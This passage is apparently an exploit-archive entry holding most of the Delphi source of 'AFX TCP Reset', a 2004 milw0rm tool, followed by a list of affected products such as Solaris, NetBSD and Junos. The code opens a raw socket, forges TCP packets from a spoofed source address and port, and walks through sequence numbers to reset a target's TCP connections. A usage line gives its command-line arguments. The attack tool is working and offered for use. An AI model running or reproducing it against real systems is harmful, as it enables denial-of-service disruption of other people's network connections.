iLoop: integer;
begin
lSumm := 0;
iLoop := 0;
while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);
end;
procedure Header(FromIP: string; FromPort: word; ToIP: string; ToPort: word; Seq: longint;
Window: longint; var Buffer: TBufferArray; var Socket: TSockAddr; var Size: word);
var
ipHdr: iph;
tcpHdr: tcph;
TcpHeaderLen: word;
ChecksumSize: word;
DataPointer: ^byte;
procedure IncPtr(Value: integer);
begin
DataPointer := pointer(integer(DataPointer) + Value);
end;
begin
Size := sizeof(ipHdr) + sizeof(tcpHdr);
ipHdr.ip_verlen := ((4 shl 4) or sizeof(ipHdr) div sizeof(longword));
ipHdr.ip_tos := 0;
ipHdr.ip_len := htons(Size);
ipHdr.ip_id := 0;
ipHdr.ip_offset := 0;
ipHdr.ip_ttl := 128;
ipHdr.ip_protocol := 6;
ipHdr.ip_checksum := 0;
ipHdr.ip_saddr := inet_addr(pchar(FromIP));
ipHdr.ip_daddr := inet_addr(pchar(ToIP));
ChecksumSize := 0;
tcpHdr.th_sport := htons(FromPort);
tcpHdr.th_dport := htons(ToPort);
tcpHdr.th_seq := htonl(Seq);
tcpHdr.th_ack := htonl(Seq + Window);
tcpHdr.th_len := 80;
tcpHdr.th_flags := 20;
tcpHdr.th_win := Window;
tcpHdr.th_checksum := 0;
tcpHdr.th_upr := 0;
DataPointer := @Buffer[0];
FillChar(Buffer, SizeOf(Buffer), 0);
Move(ipHdr.ip_saddr, DataPointer^, SizeOf(ipHdr.ip_saddr));
IncPtr(SizeOf(ipHdr.ip_saddr));
ChecksumSize := ChecksumSize + sizeof(ipHdr.ip_saddr);
Move(ipHdr.ip_daddr, DataPointer^, sizeof(ipHdr.ip_daddr));
IncPtr(SizeOf(ipHdr.ip_daddr));
ChecksumSize := ChecksumSize + sizeof(ipHdr.ip_daddr);
IncPtr(1);
Inc(ChecksumSize);
Move(ipHdr.ip_protocol, DataPointer^, sizeof(ipHdr.ip_protocol));
IncPtr(sizeof(ipHdr.ip_protocol));
ChecksumSize := ChecksumSize + sizeof(ipHdr.ip_protocol);
TcpHeaderLen := htons(sizeof(tcpHdr));
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
IncPtr(sizeof(TcpHeaderLen));
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
Move(tcpHdr, DataPointer^, sizeof(tcpHdr));
IncPtr(sizeof(tcpHdr));
ChecksumSize := ChecksumSize + sizeof(tcpHdr);
tcpHdr.th_checksum := CheckSum(Buffer, ChecksumSize);
FillChar(Buffer, sizeof(Buffer), 0);
DataPointer := @Buffer[0];
Move(ipHdr, DataPointer^, sizeof(ipHdr));
IncPtr(sizeof(ipHdr));
Move(tcpHdr, DataPointer^, sizeof(tcpHdr));
Socket.sin_family := 2;
Socket.sin_port := htons(0);
Socket.sin_addr.saddr := inet_addr(pchar(ToIP));
end;
procedure Send(TargetIP: string; TargetPort: integer; SourceIP: string; SourcePort: integer;
Sequence: longint; Window: longint);
var
Buffer: TBufferArray;
Sck: TSockAddr;
Size: Word;
begin
Header(SourceIP, SourcePort, TargetIP, TargetPort, Sequence, Window, Buffer, Sck, Size);
SendTo(hSocket, Buffer, Size, 0, Sck, sizeof(Sck));
end;
procedure Init;
var
wsdata: TWSAdata;
op: integer;
begin
WSAStartup($0002, wsdata);
hSocket := Socket(2, 3, 0);
op := 1;
SetSockOpt(hSocket, 0, 2, @op, sizeof(op));
end;
function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;
procedure DoExit;
begin
WriteLn('AFX TCP Reset');
WriteLn('http://www.iamaphex.cjb.net');
WriteLn('
[email protected]');
WriteLn('');
WriteLn('Usage: reset <src ip> <src port> <dest ip> <dest port> <window size> <send delay> [begin seq num]');
ExitProcess(0);
end;
begin
if Length(ParamStr(1)) < 1 then DoExit;
if Length(ParamStr(2)) < 1 then DoExit;
if Length(ParamStr(3)) < 1 then DoExit;
if Length(ParamStr(4)) < 1 then DoExit;
if Length(ParamStr(5)) < 1 then DoExit;
SourceHost := ParamStr(1);
SourcePort := StrToInt(ParamStr(2));
TargetHost := ParamStr(3);
TargetPort := StrToInt(ParamStr(4));
WindowSize := StrToInt(ParamStr(5));
Delay := StrToInt(ParamStr(6));
Randomize;
WindowPos := Random(4294967295);
if Length(ParamStr(7)) > 0 then WindowPos := StrToInt(ParamStr(7));
Odds := 4294967295 div WindowSize;
WindowCount := 0;
Init;
while WindowCount < Odds do
begin
if WindowPos > 4294967295 then WindowPos := 0;
Send(TargetHost, TargetPort, SourceHost, SourcePort, WindowPos, WindowSize);
Inc(WindowCount);
Inc(WindowPos, WindowSize);
Sleep(Delay);
end;
end.
// milw0rm.com [2004-04-22]
Products Mentioned
Configuraton 0
Oracle>>Solaris >> Version 10
Oracle>>Solaris >> Version 11
Configuraton 0
Openpgp>>Openpgp >> Version 2.6.2
Configuraton 0
Mcafee>>Network_data_loss_prevention >> Version To (including) 8.6
Mcafee>>Network_data_loss_prevention >> Version 9.2.0
Mcafee>>Network_data_loss_prevention >> Version 9.2.1
Mcafee>>Network_data_loss_prevention >> Version 9.2.2
Configuraton 0
Netbsd>>Netbsd >> Version 1.5
Netbsd>>Netbsd >> Version 1.5.1
Netbsd>>Netbsd >> Version 1.5.2
Netbsd>>Netbsd >> Version 1.5.3
Netbsd>>Netbsd >> Version 1.6
Netbsd>>Netbsd >> Version 1.6.1
Netbsd>>Netbsd >> Version 1.6.2
Netbsd>>Netbsd >> Version 2.0
Configuraton 0
Xinuos>>Openserver >> Version 5.0.6
Xinuos>>Openserver >> Version 5.0.7
Configuraton 0
Juniper>>Junos >> Version *
Configuraton 0
Xinuos>>Unixware >> Version 7.1.1
Xinuos>>Unixware >> Version 7.1.3
References